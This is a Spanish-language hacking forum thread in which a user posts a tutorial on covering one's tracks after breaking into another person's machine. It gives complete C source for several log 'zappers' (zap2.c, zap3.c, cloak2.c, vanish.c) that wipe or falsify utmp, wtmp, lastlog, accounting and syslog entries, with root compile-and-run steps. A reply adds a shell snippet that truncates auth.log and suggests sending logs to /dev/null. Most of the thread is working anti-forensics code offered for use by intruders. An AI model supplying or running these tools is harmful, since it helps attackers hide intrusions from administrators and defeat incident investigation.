0 Usuarios y 1 Visitante están viendo este tema.
« anterior próximo »
Páginas: [1] 2
|
 |
|
Autor
|
Tema: Borrando huellas por Phantom Lord!! (Leído 4171 veces)
|
|
Phantom Lord
|
Limpiando Huellas Por Phantom Lord Bueno como les prometi, les iba a traer algo explicado de como limpiar sus huellas despues de estar metiendo manos en un ordenador ajeno. Esto lo vamos a hacer con un zapper , un zapper es un programa que al ejecutarlo en la maquina remota limpia el log que queda guandado con todo lo que hicimos en la maquina victima. Si no limpias la mugre que dejas estas ******, ya ke si el root revisa los logs vera tu IP y todo lo ke has hecho. Si te agarran despues no me digas que no avise. Pero donde esta el probema de esto, y bueno les comento que el problema de esto es que para borrar lo que hiciste tenes que ser roort. Los logs mas importantes son: _ UTMP - Indika quien esta konectado en cada momento. _ WTMP - Indica todas las entradas y salidas de la maquina victima indicando el tty y el host. _ LASTLOG - Guarda un log indicando el momento exacto en el ce se konekto el usuario por ultima vez. _ ACCT - Guarda todos los comandos ejekutados por los usuarios (aunke sin argumentos) y como los ponemos. Me llevo casi 3 horas averiguar esto asi que me imagino que algun dia lo van a utilizar, si es que entran en algun ordenador alguna vez. Estos logs estan ubicados en los siguientes directorios. _ UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log _ WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log _ LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log _ ACCT : /var/adm/acct (en algunos sistemas se puede llamar pacct) Esto varia de sistema en sistema. Los zappers lo que hacen la mayoria es borrar el log acct , de esta forma estamos salvados de que nos agarren ya que sabran que estubimos dentro pero no pueden saber que hicimos. Por eso es bueno acompañarlo con algun metodo de anonimato que ya sabran. Lo que voy a enseñar a usar es el zap2 un zapper que es muy fasil de detectar si es que se quiere, lo que hace este no borrar los logs sino dejarlos en 0 , y tampoco borra el acct pero tambien lo deja en 0 asi que no tendremos problemas graves, siempre y cuando no se manden una ****** grosa en la maquina y le den ganas al admin de saber quien fue. Le va a costar pero no va a ser tan fasil como dejarle el numero de documento en el log. En este tuto vamos a matar 2 pajaros de un tiro. Uno es aprender a compilar exploits y otro aprender a ejecutarlos. Obvio que este es de uso local, es decir hay que ejecutarlo desde la shell del sistema que queremos limpiar. Pasamos a crear el archivo zap2.c de esta forma. [root@localhost phantomlord]# cat > zap2.c ------------------------copiamos el code------------------------- #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------------------termino zap2------------------- apretamos ctrl +z para terminar [15]+ Stopped cat >zap2.c [root@localhost phantomlord]# Ahora lo compilamos [root@localhost phantomlord]# gcc zap2.c -o zap2 El archivo compilado (programa) se va a llamar zap2 y ahora lo ejecutamos de esta manera. [root@localhost phantomlord]# ./zap2 Listo...ya limpie la mierda...hdl rulez! [root@localhost phantomlord]# Como ven nos avisa si funciono o no quiero aclarar que se puede usar de las siguientes formas. [root@localhost phantomlord]# ./zap2 nombreusuario o simplemente [root@localhost phantomlord]# ./zap2 Que borrara los logs del usuario que estemos usando en ese momento. Espero que les sirva esto. Hasta la vista baby. Phantom Lord. Salu2
|
|
|
|
« Última modificación: Agosto 09, 2006, 21:58:31 por Phantom Lord »
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
|
lord-nikon
|
bro me confundo jojo metele capturas.pa la otra porfa..  "entre mi arte y tu arte prefiero miarte" Lord-Nikon
|
|
|
|
|
En línea
|
|
|
|
|
Phantom Lord
|
capturas jaj naaa no jodas man esta bastante claro me parece. que es lo que noentendes?
Salu2
|
|
|
|
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
|
lord-nikon
|
#include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog"
int f; void kill_utmp(who) char *who; {
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
} }
void kill_wtmp(who) char *who; {
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who) char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
} main(argc,argv)
int argc; char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Listo...ya limpie la mierda...hdl rulez!\n");
} No me funka bro ..
|
|
|
|
|
En línea
|
|
|
|
|
Phantom Lord
|
guardalo en un txt a eso y llamalo zap.c y despues haces asi para compilarlo.
>gcc zap.c -o zap <<<<<<<< compilado >./zap <<<<<<<<< ejecutado
buscate otros por las dudas qu ehay muchos
|
|
|
|
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
|
lord-nikon
|
e alli el detalle compilarlo  pero ya ya me aclaraste la duda. bytes
|
|
|
|
|
En línea
|
|
|
|
|
Phantom Lord
|
Bueno les dejo otros zappers porque me llegan mails diciendo que tienen problemas con el que deje en el tuto. zap3.c /*######################################################################## *#### Zap3.c cleans WTMP, UTMP, lastlog, messages, secure, ############## *#### xferlog, httpd.access_log, httpd.error_log. ############## *#### Check your log file and edit the source accordingly. ############## #### Tested in Mandrake 7.2 and 8.0 ############## *######################################################################### *#### This program is for educational purposes only ############## *#### I'm not responsible any damages of this program ############## *#### Use it with your own risk ############## *######################################################################### *#### I change the user based cleaning method ############## *#### to host based method. Also zap2.c cleans ############## *#### last entry of wtmp file,i change ############## *#### this to clean all entries. ############## *######################################################################### Copyright (c) darkloop . All rights reserved. This software is licensed pursuant to the GNU General Public License version 2 or later versions [or GNU Lesser General Public License], a copy of which may be viewed at www.gnu.org/copyleft/gpl.html.
*######################################################################### *#### Please inform me about your comments. ############## *#### I'm new to c programmin so feel free to flame :) ############## *#### dark_loop@linuxmail.org ############## *#### www.solitude2000.f2s.com ############## *#### 15.10.2001 ############## *#########################################################################
*/ #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #include <string.h> #define WTMP_NAME "/var/log/wtmp" #define UTMP_NAME "/var/run/utmp" #define LASTLOG_NAME "/var/log/lastlog" #define MESSAGES "/var/log/messages" #define SECURE "/var/log/secure" #define SYSLOG "/var/log/syslog" #define XFERLOG "/var/log/xferlog" #define AUTH "/var/log/auth.log" #define HTTPDA "/var/log/httpd/access_log" #define HTTPDE "/var/log/httpd/error_log" #define MAX 1024*5120 #define MIN 1024 void clean_logs(char *host,char *fake); void clean_utmp(char *host,char *fake); void clean_wtmp(char *host,char *fake); void clean_lastlog(char *host,char *fake); int pos(char *source,char *pattern); void str_replace(char *source,char *pattern,char *replace);
main(int argc,char **argv) { time_t t1,t2; if (argc<2) { printf("missing argument\n"); printf("usage :./zap <ip>\n"); exit(1); } else { time(&t1); clean_utmp(argv[1],argv[2]); clean_wtmp(argv[1],argv[2]); clean_lastlog(argv[1],argv[2]); clean_logs(argv[1],argv[2]); time(&t2); printf("the process time is %d ms\n",t2-t1); } }
void clean_utmp(char *host,char *fake) { int f; struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))<0) { perror("open"); close(f); } while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_host,host,strlen(host))) { if(fake) { memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host)); }else { memset(&utmp_ent,0,sizeof( utmp_ent )); } lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); printf("\tcleaning utmp file finished\n\t"); } void clean_wtmp(char *host,char *fake) { struct utmp utmp_ent; int f; if ((f=open(WTMP_NAME,O_RDWR))<0) { perror("open"); close(f); } while(read (f, &utmp_ent, sizeof (struct utmp))>0) { if (!strncmp(utmp_ent.ut_host,host,strlen(host))) { if(fake) { memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host)); }else { memset(&utmp_ent,0,sizeof(struct utmp )); } lseek(f,-(sizeof(struct utmp)),SEEK_CUR); write (f, &utmp_ent, sizeof( utmp_ent )); } } close(f); printf("cleaning wtmp finished\n\t"); } void clean_lastlog(char *host,char *fake) { int f; struct lastlog newll; if ((f=open(LASTLOG_NAME, O_RDWR)) < 0) { perror("open"); close(f); } else { while(read(f,&newll,sizeof(struct lastlog)) > 0 ) { if(!strncmp(newll.ll_host,host,strlen(host))) { if(fake) { memcpy(newll.ll_host,fake,sizeof(newll.ll_host)); }else { memset(&newll,0,sizeof( newll )); } lseek(f, -( sizeof (struct lastlog)),SEEK_CUR); write(f,&newll, sizeof( newll )); } } close(f); } printf("cleaning lastlog finished\n\t"); } void clean_logs(char *host,char *fake) { int i; char buffer[MIN],buff[MAX]; FILE *fin,*fout; char *logs[] = {MESSAGES, SECURE,SYSLOG, XFERLOG, AUTH, HTTPDA, HTTPDE} ; char *modlogs[] = {"modMESSAGES", "modSECURE","modSYSLOG", "modXFERLOG", "modAUTH","modHTTPDA","modHTTPDE"} ; i=0; while(i<7) { printf("cleaning %s\n\t",logs[i]); strcpy(buff,""); if((fin=fopen(logs[i],"r"))==NULL || (fout=fopen(modlogs[i],"w"))==NULL) { perror("fopen"); fclose(fin); i++; } while(fgets(buffer,MIN,fin) !=NULL) { if(fake) { if (strstr(buffer,host) ) { str_replace(buffer,host,fake); fputs(buffer,fout); }else fputs(buffer,fout); }else { if(!strstr(buffer,host)) fputs(buffer,fout); } } fclose(fin); fclose(fout); if((fout=fopen(logs[i],"w"))==NULL || (fin=fopen(modlogs[i],"r"))==NULL) { perror("fopen"); fclose(fout); } while((fgets(buffer,MAX,fin)) !=NULL) { fputs(buffer,fout); } fclose(fin); fclose(fout); unlink(modlogs[i]); i++; } printf("cleaning logs file finished\n\t"); } void str_replace(char *source,char *pattern,char *replace) { char buffer[MIN]; char part[MIN]; int n; while((n=pos(source,pattern))>=0) { strcpy(buffer,&source[n+strlen(pattern)]); strcpy(&source[n],replace); strncpy(part,source,n+strlen(replace)); part[n+strlen(replace)]='\0'; strcat(part,buffer); strcpy(source,part); n=pos(source,pattern); } } int pos(char *source,char *pattern) { char substring[MIN]; int i=0,found=0,position; int pattern_len=strlen(pattern); while(!found && i<= strlen(source) - pattern_len) { strncpy(substring,&source[i],pattern_len); substring[pattern_len]='\0'; if(strcmp(substring,pattern)==0) found=1; else ++i; } if(found) position=i; else position=-1; return(position); }
------------------------------------------------------------------------------------------------------ cloak2.c < Muy bueno y famoso /* * C L O A K * * Wrap yourself in a cloak of darkness (heh heh heh). * * Michael S. Baldwin, Matthew Diaz 1982 * * Marcus J. Ranum - 1983 - complete re-write and munging * added more options, and all kinds of evil - including the * ability to vanish from wtmp and acct as well as utmp. Added more * error checking and useful command syntax. Now you can attribute * all *YOUR* CPU usage to others when playing hack !!! * */ #include <stdio.h> #include <sys/types.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #include <sys/file.h> #include <sys/acct.h> /* set these guys. If you're sysV a port should be easy */ #define UTMP "/etc/utmp" #define WTMP "/usr/adm/wtmp" #define LAST "/usr/adm/lastlog" #define ACCT "/usr/adm/acct" main(ac,av) int ac; char *av[]; { char *tp = ""; char *un = ""; char *hn = ""; char *pn = ""; long newt = 0L; int wflg = 0; int aflg = 0; int refs = 1; int x; /* klunch */ char *p; extern char *index(); extern time_t time(); for(x = 1; x < ac; x++) { if(av[x][0] == '-') switch(av[x][1]) { case 'u': /* username to be :-) */ if((x + 1) < ac) un = av[++x]; break; case 't': /* tty slot to be on :-) */ if((x + 1) < ac) tp = av[++x]; break; case 'h': /* host name to be on :-) */ if((x + 1) < ac) hn = av[++x]; break; case 'r': /* # of refs to zap :-) */ if((x + 1) < ac) refs = atoi(av[++x]); break; case 's': execl("/bin/sh","sh",0); perror("exec"); exit(1); case 'w': /* vanish from wtmp, too */ wflg++; break; case 'a': /* vanish from acct, too */ aflg++; break; case 'p': /* specific program for acct */ if((x + 1) < ac) pn = av[++x]; break; case 'l': /* log on time */ if((x + 1) >= ac) break; newt = atoi(p = av[++x]); if(p = index(p,':')) { newt *= 60; newt += ((newt > 0) ? 1 : -1) * atoi(++p); } newt *= 60; newt += time((long *)0L); break; default: exit(usage()); } } if(wflg && wtmpzap(tp,un,hn,newt,refs)) perror(av[0]); if(aflg && acctzap(un,pn)) perror(av[0]); if(utmpzap(tp,un,hn,newt)) { perror(av[0]); exit(1); } if(lastzap(tp,un,hn,newt)) { perror(av[0]); exit(1); } exit(0); } utmpzap(tt,un,hn,tim) char *tt; char *un; char *hn; long tim; { int fd; int slot; struct utmp ubuf; extern time_t time(); extern char *strncpy(); extern long lseek(); if((slot = ttyslot()) == 0) { (void)fprintf(stderr,"No tty slot"); return(-1); } if((fd = open(UTMP,O_RDWR)) == -1 ) return(-1); if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) { (void)close(fd); return(-1); } if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) { (void)close(fd); return(-1); } if(tim) ubuf.ut_time = tim; else ubuf.ut_time = time((long *)0L); (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name)); if(!tt[0] == '\0') (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line)); (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host)); if(lseek(fd,(long)(-sizeof(ubuf)), 1) < 0) { (void)close(fd); return(-1); } if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) { (void)close(fd); return(-1); } return(close(fd)); } wtmpzap(tt,un,hn,tim,refs) char *tt; char *un; char *hn; long tim; int refs; { int fd; char *p; char tbuf[40]; struct utmp ubuf; extern char *strncpy(); extern char *strcpy(); extern char *rindex(); extern char *ttyname(); extern long lseek(); extern time_t time(); if((p = ttyname(0)) != NULL) (void)strcpy(tbuf,p); else return(0); /* figure out our device name */ p = rindex(tbuf,'/'); if(p == NULL) p = tbuf; else p++; if((fd = open(WTMP,O_RDWR)) == -1 ) return(-1); if(lseek(fd,0L,2) < 0) return(-1); /* this is gross, but I haven't a better idea how it can */ /* be done - so who cares ? */ while(refs) { if((lseek(fd,(long)(-sizeof(ubuf)),1)) < 0) { (void)close(fd); return(0); } if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) { (void)close(fd); return(0); } if(!strcmp(p,ubuf.ut_line)) { if(tim) ubuf.ut_time = tim; else ubuf.ut_time = time((long *)0L); (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name)); (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host)); if(!tt[0] == '\0') (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line)); if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) { (void)close(fd); return(0); } if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)){ (void)close(fd); return(0); } if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) { (void)close(fd); return(0); } refs--; } if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) { (void)close(fd); return(0); } } return(close(fd)); } acctzap(un,pn) char *un; char *pn; { int fd; int faku =0; int realu; struct acct actbuf; struct passwd *pwt; extern struct passwd *getpwnam(); if((fd = open(ACCT,O_RDWR)) == -1 ) return(-1); realu = getuid(); if(un[0] != '\0' && ((pwt = getpwnam(un)) != NULL)) faku = pwt->pw_uid; while(1) { if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) { (void)close(fd); return(0); } if(realu == actbuf.ac_uid) { /* only zap a specific program to user */ if(pn[0] != '\0' && strcmp(pn,actbuf.ac_comm)) continue; actbuf.ac_uid = faku; actbuf.ac_flag &= ~ASU; if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) { (void)close(fd); return(0); } if(write(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)){ (void)close(fd); return(0); } } } } usage() { #ifdef USAGE (void)fprintf(stderr,"usage: cloak <options>\n"); (void)fprintf(stderr,"options are:\t-l <+->hh:mm (login time)\n"); (void)fprintf(stderr,"\t\t-u username\t\t\t-t ttyname\n"); (void)fprintf(stderr,"\t\t-w (clobber wtmp)\t\t-r #of refs to clobber\n"); (void)fprintf(stderr,"\t\t-h host\t\t-a (clobber accounting)\n"); (void)fprintf(stderr,"\t\t-p program (attribute only program to acct)\n"); (void)fprintf(stderr,"(no args causes a simple vanishing act)\n"); #endif return(1); } lastzap(tt,un,hn,tim) char *tt; char *un; char *hn; long tim; { int fd; int uid; struct lastlog lbuf; extern time_t time(); extern char *strncpy(); extern long lseek(); uid = getuid(); if((fd = open(LAST,O_RDWR)) == -1 ) return(-1); if(lseek(fd,(long)(uid * sizeof(lbuf)),0) < 0) { (void)close(fd); return(-1); } if(read(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) { (void)close(fd); return(-1); } if(tim) lbuf.ll_time = tim; else lbuf.ll_time = time((long *)0L); if(!tt[0] == '\0') (void)strncpy(lbuf.ll_line,tt,sizeof(lbuf.ll_line)); (void)strncpy(lbuf.ll_host,hn,sizeof(lbuf.ll_host)); if(lseek(fd,(long)(-sizeof(lbuf)), 1) < 0) { (void)close(fd); return(-1); } if(write(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) { (void)close(fd); return(-1); } return(close(fd)); }
Salu2
|
|
|
|
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
|
Phantom Lord
|
-------------------------------------------------------------------------------------------------- vanish.c /*************************************************************************** vanish.c - description ------------------- begin : Wed Feb 2 2000 copyright : (C) 2000 by Neo the Hacker email : -------------------------- ***************************************************************************/
/*************************************************************************** * Vanish.c cleans WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, * * warn, mail, httpd.access_log, httpd.error_log. Use your brain, check your* * logs and edit accordingly !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!* **************************************************************************** * Warning!! This programm is for educational purpouse only! I am not * * responsible to anything you do with this !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!* **************************************************************************** * Code written for Unix like systems! Tested on SuSE-Linux 6.2 ! * * Compile like: gcc vanish.c -o vanish * ***************************************************************************/
#include <stdio.h> #include <fcntl.h> #include <utmp.h> #include <sys/types.h> #include <unistd.h> #include <lastlog.h> #include <pwd.h>
#define UTMP "/var/run/utmp" #define WTMP "/var/log/wtmp" #define LASTLOG "/var/log/lastlog" #define MESSAGES "/var/log/messages" #define SECURE "/var/log/secure" #define XFERLOG "/var/log/xferlog" #define MAILLOG "/var/log/maillog" #define WARN "/var/log/warn" #define MAIL "/var/log/mail" #define HTTPDA "/var/log/httpd.access_log" #define HTTPDE "/var/log/httpd.error_log" #define MAXBUFF 8*1024
int main(int argc, char *argv[]) { struct utmp ut ; struct lastlog ll ; struct passwd *pass ; int i, size, fin, fout ; FILE *pfile; FILE *pfile2; char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, WARN, MAIL, HTTPDA,HTTPDE} ; char *newlogs[] = {"messages.hm", "secure.hm","xferlog.hm","maillog.hm","warn.hm", "mail.hm", "httpda.hm", "httpde.hm"} ; char buffer[MAXBUFF] ;
char user[10] ; char host[100] ; char host_ip[17] ;
/*Usage of the programm*/ if (argc!=4) { printf ("\n\n"); fprintf(stderr, "Vanish by Neo the Hacker\n"); fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n",argv[0]) ; exit () ; }
/*************************** * OK Let's start with UTMP * ***************************/ size = sizeof(ut) ; strcpy (user, argv[1]) ; fin = open (UTMP, O_RDWR) ; if (fin < 0) { fprintf(stderr, "\nFucking shit!! Utmp permission denied.Getting outta here!!\n"); close (fin) ; exit(); } else { while (read (fin, &ut, size) == size) { if (!strncmp(ut.ut_user, user, strlen(user))) { memset(&ut, 0, size); lseek(fin, -1*size, SEEK_CUR); write (fin, &ut, size); } } close (fin); printf("\nutmp target processed."); } /*************************** * OK Let's go on with WTMP * ***************************/ strcpy (host, argv[2]) ; strcpy(host_ip, argv[3]) ; fin = open(WTMP, O_RDONLY) ; if (fin < 0) { fprintf(stderr, "\nFucking shit!! Wtmp permission denied.Getting outta here.\n") ; close (fin) ; exit () ; } fout = open("wtmp.hm", O_WRONLY|O_CREAT) ; if (fout < 0) { fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ; close (fout) ; exit () ; } else { while (read (fin, &ut, size) == size) { if ( (!strcmp(ut.ut_user, user)) || (!strncmp(ut.ut_host, host, strlen(host))) ) { /* let it go into oblivion */ ; } else write (fout, &ut, size) ; } close (fin) ; close (fout) ; if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) && (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) { fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ; } system("/bin/chmod 644 /var/log/wtmp") ; printf("\nwtmp target processed.") ; } /*************************** * OK Let's look at LASTLOG * ***************************/ size = sizeof(ll) ; fin = open(LASTLOG, O_RDWR) ; if (fin < 0) { fprintf(stderr, "\nFucking shit!! Lastlog permission denied.Getting outta here.\n") ; close (fin) ; exit () ; } else { pass = getpwnam(user) ; lseek(fin, size*pass->pw_uid, SEEK_SET) ; read(fin, &ll, size) ; ll.ll_time = 0 ; strncpy (ll.ll_line, " ", 5) ; strcpy (ll.ll_host, " ") ; lseek(fin, size*pass->pw_uid, SEEK_SET) ; write(fin, &ll, size) ; close (fin) ; printf("\nlastlog target processed.\n") ; }
/************************** * OK moving to /var .... * **************************/ i=0; while (i<8) { printf("Processing %s\t", varlogs[i]) ; pfile = fopen (varlogs[i],"r"); if (!pfile) { printf("Couldn't open %s\n\n", varlogs[i]); i++; continue ; }
pfile2 = fopen (newlogs[i],"w"); if (!pfile2) { printf("Couldn't create backup file! You have to have write permission to the folder!! %s \n\n", newlogs[i]); i++; continue; } else { while (fgets(buffer, MAXBUFF, pfile) != NULL) { if ((!strstr(buffer, user)) && (!strstr(buffer, host))&&(!strstr(buffer, host_ip))) { fputs(buffer,pfile2) ; } } } fclose (pfile); fclose (pfile2); printf (" DONE.\n"); i++; } printf ("\n\n"); system ("mv messages.hm /var/log/messages"); system ("mv secure.hm /var/log/secure"); system ("mv xferlog.hm /var/log/xferlog"); system ("mv maillog.hm /var/log/maillog"); system ("mv warn.hm /var/log/warn"); system ("mv mail.hm /var/log/mail"); system ("mv httpda.hm /var/log/httpd.access_log"); system ("mv httpde.hm /var/log/httpd.error_log"); printf ("\n\n"); printf ("V_A_N_I_S_H_E_D_!\n"); printf ("Your tracks have been removed\n"); printf ("Exiting programm !!\n\n"); exit(); }
Eso es todo a compilar y probar nomas
|
|
|
|
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
[VolkS]
Principiantes
Desconectado
Mensajes: 41
[ARG]
|
muy bueno phantom, gracias 
|
|
|
|
|
En línea
|
|
|
|
d3m0n
Principiantes
Desconectado
Mensajes: 32
Amo HdL !!!
|
una pregunta tu q programa usas pa compilarlos? 
|
|
|
|
|
En línea
|
|
|
|
|
Phantom Lord
|
ufff d3 si de 4 codigos no te funciona ninguno estas teniendo problemas vos. Los compilo con el gcc de linux .
Salu2
|
|
|
|
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
|
Phantom Lord
|
no no funciona en xp lo podes ejecutar pero no funciona zion porque no son nada parecidos los directorios de indows y linux.
|
|
|
|
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
Epzylon
Principiantes
Desconectado
Mensajes: 25
Se necesitan hombres q no se compren ni se vendan
|
Fumando eucalipto me puse a pensar........ (delirar sera?) cat /etc/syslog.conf miramos donde estan verdaderamente los archivos de log, y usamos un script simple como este lastlines=70 for i in `wc -l /var/log/auth.log`; do lines=$i; break; done head /var/log/auth.log -n `expr $lines - $lastlines` > /var/log/auth.log
Donde lastlines serian las ultimas lineas del log, pero lo mejor seria configurar syslog, para que ponga los logs en /dev/null por ejemplo  Para evitar que nos hagan a esto podemos configurar syslog algo asi auth.debug -/dev/lp0  si lo se una flashada pero funciona esto lo he probado en algunos linux y unix, en la mayoria funciona todo salvo en aix, que el shell es muy diferente de bash
|
|
|
|
|
En línea
|
|
|
|
|
Phantom Lord
|
buena aclaracion gracias por el aporte y bienvenido
salu2
|
|
|
|
|
En línea
|
Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
|
|
|
CraWL!nG
Principiantes
Desconectado
Mensajes: 44
devils you dont know
|
cuando compilo el cloak me sale este error:
cloak2.c:387:8: warning: no newline at end of file
en la ultima linea me tira error :S
|
|
|
|
|
En línea
|
|
|
|
|
 |